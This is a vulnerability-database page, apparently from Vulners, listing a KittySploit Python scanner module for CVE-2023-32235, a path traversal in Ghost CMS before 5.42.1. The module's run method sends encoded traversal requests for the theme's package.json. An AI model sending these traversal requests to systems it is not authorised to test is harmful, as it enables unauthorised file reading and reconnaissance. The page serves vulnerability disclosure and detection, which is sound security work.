Lucene search
+L

Ghost CMS < 5.42.1 - Path Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Remote attackers can read arbitrary files in the active theme's folder via Ghost CMS.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Ghost
9 Jul 202320:01
–githubexploit
circl
Circl
CVE-2023-32235
5 May 202312:24
–circl
cnnvd
CNNVD
Ghost 路径遍历漏洞
5 May 202300:00
–cnnvd
cnvd
CNVD
Ghost Directory Traversal Vulnerability
11 May 202300:00
–cnvd
cve
CVE
CVE-2023-32235
5 May 202300:00
–cve
cvelist
Cvelist
CVE-2023-32235
5 May 202300:00
–cvelist
exploitdb
Exploit DB
Ghost CMS 5.42.1 - Path Traversal
11 Aug 202500:00
–exploitdb
nessus
Tenable Nessus
Ghost CMS 5.42.1 - Path Traversal (CVE-2023-32235)
28 Oct 202500:00
–nessus
nessus
Tenable Nessus
Ghost CMS < 5.42.1 Path Traversal
6 May 202400:00
–nessus
github
Github Security Blog
Path Traversal in Ghost
5 May 202306:30
–github
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ghost before 5."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Ghost CMS < 5.42.1 - Path Traversal Detection',
        'description': "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built%2F..%2F..%2F/ directory traversal. This occurs in frontend/web/middleware/static-theme.js.",
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2023', 'lfi', 'ghostcms', 'ghost', 'node.js', 'vkev', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://github.com/advisories/GHSA-wf7x-fh6w-34r6',
            'https://nvd.nist.gov/vuln/detail/CVE-2023-32235',
            'https://github.com/TryGhost/Ghost/commit/378dd913aa8d0fd0da29b0ffced8884579598b0f',
            'https://github.com/TryGhost/Ghost/compare/v5.42.0...v5.42.1',
        ],
        'cve': 'CVE-2023-32235',
    }

    def run(self):
        for path in ('/assets/built%2F..%2F..%2F/package.json', '/assets/built%2F..%2F..%2F%E0%A4%A/package.json'):
            r = self.http_request(method="GET", path=path, allow_redirects=False)
            if not r or r.status_code != 200:
                continue
            body = r.text or ""
            headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            body_all = ('"name"', '"version"', '"ghost"',)
            header_any = ('application/json',)
            if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
                self.set_info(
                    severity='high',
                    reason="Ghost CMS < 5.42.1 - Path Traversal detected",
                    path=path,
                )
                return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.5
EPSS0.39078
SSVC
0